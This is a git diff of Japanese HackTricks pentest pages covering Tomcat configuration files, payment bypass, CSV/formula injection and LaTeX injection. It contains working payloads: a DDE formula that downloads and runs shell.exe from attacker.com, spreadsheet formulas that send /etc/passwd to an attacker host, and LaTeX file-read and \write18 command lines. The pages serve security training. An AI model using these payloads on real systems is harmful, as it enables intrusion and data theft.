<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -94,17 +94,15 @@ webapps/customapp
|
|||
</servlet-mapping>
|
||||
</web-app>
|
||||
```
|
||||
```markdown
|
||||
上記の`web.xml`構成は、**`AdminServlet`**という**新しいサーブレット**を定義し、**`com.inlanefreight.api.AdminServlet`**クラスにマップされています。Javaはパッケージ名を作成するためにドット表記を使用します。したがって、上記で定義されたクラスのディスク上のパスは次のとおりです:
|
||||
上記の`web.xml`構成は、**`AdminServlet`という新しいサーブレット**を定義し、**`com.inlanefreight.api.AdminServlet`クラス**にマップされています。Javaはパッケージ名を作成するためにドット表記を使用します。したがって、上記で定義されたクラスのディスク上のパスは次のとおりです:
|
||||
|
||||
- **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
次に、**`/admin`へのリクエストを`AdminServlet`にマッピング**する新しいサーブレットマッピングが作成されます。この構成により、**`/admin`への受信リクエストは`AdminServlet.class`**クラスに送信され、処理されます。**`web.xml`**記述子には多くの**機密情報**が含まれており、**ローカルファイルインクルージョン(LFI)脆弱性**を利用する際にチェックする重要なファイルです。
|
||||
次に、**`/admin`へのリクエストを`AdminServlet`にマッピングする**新しいサーブレットマッピングが作成されます。この構成により、**`/admin`への受信リクエストは`AdminServlet.class`クラスに送信**され、処理されます。**`web.xml`**記述子には多くの**機密情報**が含まれており、**ローカルファイルインクルージョン(LFI)脆弱性**を利用する際にチェックする重要なファイルです。
|
||||
|
||||
### tomcat-users
|
||||
|
||||
**`tomcat-users.xml`**ファイルは、**`/manager`および`host-manager`管理ページ**へのアクセスを**許可**または拒否するために使用されます。
|
||||
```
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
|
@ -145,7 +143,7 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
</tomcat-users>
|
||||
```
|
||||
ファイルには、`manager-gui`、`manager-script`、`manager-jmx`、`manager-status` の各ロールがどのようなアクセス権を提供するかが示されています。この例では、パスワードが `tomcat` であるユーザー `tomcat` が `manager-gui` ロールを持っており、2番目の弱いパスワード `admin` がユーザーアカウント `admin` に設定されています。
|
||||
ファイルには、`manager-gui`、`manager-script`、`manager-jmx`、`manager-status` のそれぞれがアクセス権を提供する内容が示されています。この例では、パスワードが `tomcat` のユーザー `tomcat` が `manager-gui` ロールを持っており、2番目の弱いパスワード `admin` がユーザーアカウント `admin` に設定されています。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -153,7 +151,7 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -161,10 +159,10 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> でゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか? HackTricks で** 会社を宣伝したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricks で会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com) を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ** に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。**
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com) を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローしてください。
|
||||
* **ハッキングトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud) に PR を提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@carlospolopm**をフォローする**。
|
||||
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,8 +24,8 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
## 支払いバイパステクニック
|
||||
|
||||
### リクエストの傍受
|
||||
取引プロセス中に、クライアントとサーバー間で交換されるデータを監視することが重要です。これはすべてのリクエストを傍受することで行うことができます。これらのリクエストの中で、次のような重要な影響を持つパラメータに注意してください:
|
||||
### リクエストのインターセプト
|
||||
取引プロセス中に、クライアントとサーバー間で交換されるデータを監視することが重要です。これはすべてのリクエストをインターセプトすることで行うことができます。これらのリクエストの中で、次のような重要な影響を持つパラメータに注意してください:
|
||||
|
||||
- **Success**: このパラメータは、取引の状態を示すことがよくあります。
|
||||
- **Referrer**: リクエストの元のソースを指すことがあります。
|
||||
|
@ -42,32 +42,12 @@ HackTricks をサポートする他の方法:
|
|||
2. **パラメータを削除**: 特定のパラメータを完全に削除して、システムがどのように反応するかを確認してみてください。期待されるパラメータが欠落している場合、一部のシステムにはフォールバックやデフォルトの動作があるかもしれません。
|
||||
|
||||
### Cookieの改ざん
|
||||
1. **Cookieの検査**: 多くのウェブサイトは重要な情報をCookieに保存しています。これらのCookieを支払い状況やユーザー認証に関連するデータで調査してください。
|
||||
1. **Cookieの調査**: 多くのウェブサイトは重要な情報をCookieに保存しています。これらのCookieを支払い状況やユーザー認証に関連するデータを調査してください。
|
||||
2. **Cookieの値を変更**: Cookieに保存されている値を変更し、ウェブサイトの応答や動作がどのように変化するかを観察してください。
|
||||
|
||||
### セッションハイジャック
|
||||
1. **セッショントークン**: 支払いプロセスでセッショントークンが使用されている場合、それらをキャプチャして操作してみてください。これにより、セッション管理の脆弱性についての洞察が得られるかもしれません。
|
||||
1. **セッショントークン**: 支払いプロセスでセッショントークンが使用されている場合、それらをキャプチャして操作してみてください。これにより、セッション管理の脆弱性に関する洞察が得られるかもしれません。
|
||||
|
||||
### レスポンスの改ざん
|
||||
1. **レスポンスの傍受**: ツールを使用してサーバーからのレスポンスを傍受して分析します。成功した取引を示す可能性のあるデータや支払いプロセスの次のステップを示す可能性のあるデータを探してください。
|
||||
1. **レスポンスのインターセプト**: ツールを使用してサーバーからのレスポンスをインターセプトして分析します。成功した取引を示す可能性のあるデータや支払いプロセスの次のステップを示す可能性のあるデータを探してください。
|
||||
2. **レスポンスの変更**: ブラウザやアプリケーションに処理される前に、レスポンスを変更して成功した取引シナリオをシミュレートしてみてください。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
|
||||
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
|
||||
* **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに貢献する
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,10 +26,10 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
### 情報
|
||||
|
||||
もし、あなたの **入力** が **CSVファイル**(またはおそらく **Excel で開かれる他のファイル**)内に **反映** されている場合、Excel **フォーミュラ** を入れることができ、ユーザーが **ファイルを開いたり** Excel シート内の **リンクをクリックしたり** すると **実行** されるかもしれません。
|
||||
もし、あなたの **入力** が **CSV ファイル**(またはおそらく **Excel で開かれる可能性のある他のファイル**)に **反映** されている場合、Excel に **フォーミュラ** を入れることができ、ユーザーがファイルを **開いたとき** や Excel シート内の **リンクをクリックしたとき** に **実行** されるかもしれません。
|
||||
|
||||
{% hint style="danger" %}
|
||||
現在、**Excel は**(何度も)**ユーザーに警告を表示** し、Excel 外部からの読み込みを防ぐための対策を取っています。そのため、最終的なペイロードにはソーシャルエンジニアリングに特別な注意を払う必要があります。
|
||||
現在、**Excel は**(何度も)**ユーザーに警告を表示** し、悪意のある行動を防ぐために Excel の外部からの読み込みが行われるときに特別な注意が必要です。そのため、最終的なペイロードにはソーシャルエンジニアリングに特別な注意を払う必要があります。
|
||||
{% endhint %}
|
||||
|
||||
### [ワードリスト](https://github.com/payloadbox/csv-injection-payloads)
|
||||
|
@ -47,7 +47,7 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
|
||||
次の例は、[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) から取得されました。
|
||||
|
||||
学生記録管理システムでのセキュリティ侵害がCSVインジェクション攻撃を介して悪用されたと想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを危険にさらすことです。この方法は、攻撃者が悪意のあるペイロードをアプリケーションに注入し、具体的には学生の詳細用に設計されたフィールドに有害な数式を入力することによって行われます。攻撃は次のように展開されます:
|
||||
学生記録管理システムでのセキュリティ侵害がCSVインジェクション攻撃を介して悪用されたと想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを危険にさらすことです。この方法は、攻撃者が悪意のあるペイロードをアプリケーションに注入し、具体的には学生の詳細用に用意されたフィールドに有害な数式を入力することで実行されます。攻撃は次のように展開されます:
|
||||
|
||||
1. **悪意のあるペイロードの注入:**
|
||||
* 攻撃者は学生の詳細フォームを送信しますが、スプレッドシートで一般的に使用される数式(例:`=HYPERLINK("<malicious_link>","Click here")`)を含めます。
|
||||
|
@ -56,7 +56,7 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
* 侵害に気づかない教師は、データをCSVファイルにエクスポートするためにアプリケーションの機能を使用します。
|
||||
* 開かれたCSVファイルには、依然として悪意のあるペイロードが含まれています。このペイロードはスプレッドシート内でクリック可能なハイパーリンクとして表示されます。
|
||||
3. **攻撃のトリガー:**
|
||||
* 教師が学生の詳細の正当な部分と信じてハイパーリンクをクリックします。
|
||||
* 教師が、それが学生の詳細の正当な部分であると信じてハイパーリンクをクリックします。
|
||||
* クリックすると、機密データ(スプレッドシートや教師のコンピューターからの詳細を含む可能性があります)が攻撃者のサーバーに送信されます。
|
||||
4. **データの記録:**
|
||||
* 攻撃者のサーバーは、教師のコンピューターから送信された機密データを受信して記録します。
|
||||
|
@ -66,7 +66,7 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
|
||||
**詳細については** [**元の投稿**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **をご確認ください。**
|
||||
|
||||
特定の構成や古いバージョンのExcelでは、Dynamic Data Exchange(DDE)と呼ばれる機能を利用して任意のコマンドを実行することができます。これを活用するには、次の設定を有効にする必要があります:
|
||||
特定の構成や古いバージョンのExcelでは、Dynamic Data Exchange(DDE)と呼ばれる機能を利用して任意のコマンドを実行できます。これを活用するには、次の設定を有効にする必要があります:
|
||||
|
||||
* ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツに移動し、**Dynamic Data Exchange Server Launch** を有効にします。
|
||||
|
||||
|
@ -74,44 +74,44 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```markdown
|
||||
`=cmd|' /C calc'!xxx`
|
||||
```
|
||||
追加のコマンドも実行できます。例えば、PowerShellを使用してファイルをダウンロードして実行することができます:
|
||||
追加のコマンドも実行できます。たとえば、PowerShellを使用してファイルをダウンロードして実行することができます:
|
||||
```bash
|
||||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||||
```
|
||||
### LibreOffice Calc におけるローカルファイルインクルージョン(LFI)
|
||||
### LibreOffice Calc でのローカルファイルインクルージョン(LFI)
|
||||
|
||||
LibreOffice Calc はローカルファイルを読み取り、データを外部に送信するために使用できます。以下はいくつかの方法です:
|
||||
|
||||
* ローカルの `/etc/passwd` ファイルから最初の行を読み取る:`='file:///etc/passwd'#$passwd.A1`
|
||||
* 読み取ったデータを攻撃者が制御するサーバーに送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* 複数行を送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* DNS 送信(読み取ったデータを DNS クエリとして攻撃者が制御する DNS サーバーに送信する):`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
- ローカルの `/etc/passwd` ファイルから最初の行を読み取る:`='file:///etc/passwd'#$passwd.A1`
|
||||
- 読み取ったデータを攻撃者が制御するサーバーに送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
- 複数行を送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
- DNSエクスフィルトレーション(読み取ったデータを攻撃者が制御するDNSサーバーにDNSクエリとして送信する):`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
|
||||
### Out-of-Band(OOB)データ送信のための Google Sheets
|
||||
### Google Sheets を使用した Out-of-Band(OOB)データエクスフィルトレーション
|
||||
|
||||
Google Sheets はOOBデータ送信に悪用できる関数を提供しています:
|
||||
Google Sheets はOOBデータエクスフィルトレーションに悪用できる関数を提供しています:
|
||||
|
||||
* **CONCATENATE**: 文字列を連結します - `=CONCATENATE(A2:E2)`
|
||||
* **IMPORTXML**: 構造化データからデータをインポートします - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
* **IMPORTFEED**: RSS または ATOM フィードをインポートします - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||||
* **IMPORTHTML**: HTML テーブルやリストからデータをインポートします - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||||
* **IMPORTRANGE**: 他のスプレッドシートからセルの範囲をインポートします - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||||
* **IMAGE**: 画像をセルに挿入します - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
||||
- **CONCATENATE**: 文字列を連結します - `=CONCATENATE(A2:E2)`
|
||||
- **IMPORTXML**: 構造化データからデータをインポートします - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
- **IMPORTFEED**: RSSまたはATOMフィードをインポートします - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||||
- **IMPORTHTML**: HTMLテーブルやリストからデータをインポートします - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||||
- **IMPORTRANGE**: 他のスプレッドシートからセルの範囲をインポートします - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||||
- **IMAGE**: 画像をセルに挿入します - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
||||
|
||||
## LaTeX インジェクション
|
||||
|
||||
通常、インターネット上で見つけるサーバーは **LaTeX コードを PDF に変換** するために **`pdflatex`** を使用します。\
|
||||
このプログラムは(非)コマンド実行を許可するために 3 つの主要な属性を使用します:
|
||||
通常、**LaTeXコードをPDFに変換するサーバー**は**`pdflatex`**を使用します。\
|
||||
このプログラムは(無効にする)コマンドの実行を許可または拒否するために3つの主要な属性を使用します:
|
||||
|
||||
* **`--no-shell-escape`**: `\write18{command}` 構文を無効にします。たとえ texmf.cnf ファイルで有効になっていても。
|
||||
* **`--shell-restricted`**: `--shell-escape` と同じですが、事前定義された '安全' な一連の \*\*コマンドに**制限されます**(Ubuntu 16.04 ではリストが `/usr/share/texmf/web2c/texmf.cnf` にあります)。
|
||||
* **`--shell-escape`**: `\write18{command}` 構文を有効にします。コマンドは任意のシェルコマンドです。この構文は通常、セキュリティ上の理由から許可されていません。
|
||||
- **`--no-shell-escape`**: `\write18{command}` 構造を**無効**にします。たとえ texmf.cnf ファイルで有効になっていても。
|
||||
- **`--shell-restricted`**: `--shell-escape` と同じですが、'安全'な事前定義の\*\*コマンドに**制限**されます(Ubuntu 16.04では、リストは `/usr/share/texmf/web2c/texmf.cnf` にあります)。
|
||||
- **`--shell-escape`**: `\write18{command}` 構造を**有効**にします。コマンドは任意のシェルコマンドです。通常、この構造はセキュリティ上の理由から許可されていません。
|
||||
|
||||
ただし、コマンドを実行する他の方法もありますので、RCE を回避するために `--shell-restricted` を使用することが非常に重要です。
|
||||
ただし、コマンドを実行する他の方法もありますので、RCEを回避するために `--shell-restricted` を使用することが非常に重要です。
|
||||
|
||||
### ファイルの読み取り <a href="#read-file" id="read-file"></a>
|
||||
|
||||
\[ または $ などのラッパーを使用してインジェクションを調整する必要があるかもしれません。
|
||||
\[または $ などのラッパーを使用してインジェクションを調整する必要があるかもしれません。
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
@ -169,23 +169,31 @@ Google Sheets はOOBデータ送信に悪用できる関数を提供していま
|
|||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||
```
|
||||
## Formula CSV Document LaTeX Ghostscript Injection
|
||||
### CSV to LaTeX Conversion with Ghostscript Injection
|
||||
|
||||
### Attack Scenario
|
||||
---
|
||||
|
||||
An attacker can inject malicious LaTeX code into a CSV file that, when converted to a PDF document using LaTeX, triggers a Ghostscript command execution. This can lead to arbitrary code execution on the server hosting the conversion process.
|
||||
#### Attack Scenario
|
||||
|
||||
### Technical Details
|
||||
An attacker can inject malicious LaTeX code into a CSV file that, when converted to a LaTeX document using a tool like `csv2latex`, can trigger a Ghostscript command execution. This can lead to arbitrary code execution on the server hosting the LaTeX to PDF conversion process.
|
||||
|
||||
By inserting a crafted formula containing the `\immediate\write18` command within the CSV file, an attacker can create a formula that, when processed by LaTeX, executes arbitrary commands via Ghostscript. This is possible because LaTeX allows for the execution of shell commands, and Ghostscript is often used in the background for processing images and other tasks.
|
||||
#### Exploitation
|
||||
|
||||
### Impact
|
||||
1. Craft a CSV file containing the malicious LaTeX code along with the Ghostscript injection payload.
|
||||
|
||||
2. Use a tool like `csv2latex` to convert the CSV file to a LaTeX document.
|
||||
|
||||
3. Compile the LaTeX document to PDF using a tool like `pdflatex`.
|
||||
|
||||
4. The Ghostscript command embedded in the LaTeX code will execute, leading to arbitrary code execution.
|
||||
|
||||
If successful, this attack can result in the execution of arbitrary commands on the server, potentially leading to a full compromise of the system. This can be particularly dangerous if the server has high privileges or hosts sensitive data.
|
||||
#### Mitigation
|
||||
|
||||
### Mitigation
|
||||
|
||||
To prevent this type of attack, it is crucial to sanitize user input and validate any files being processed by the server. Additionally, restricting the capabilities of the LaTeX environment and Ghostscript can help mitigate the risk of command execution through this vector.
|
||||
- **Input Validation:** Validate and sanitize user input to prevent injection attacks.
|
||||
|
||||
- **Restricted Environments:** Execute the conversion process in a restricted environment with limited permissions.
|
||||
|
||||
- **Update Libraries:** Keep all libraries and tools up to date to patch any known vulnerabilities related to LaTeX processing.
|
||||
```bash
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
|
@ -215,20 +223,20 @@ To prevent this type of attack, it is crucial to sanitize user input and validat
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
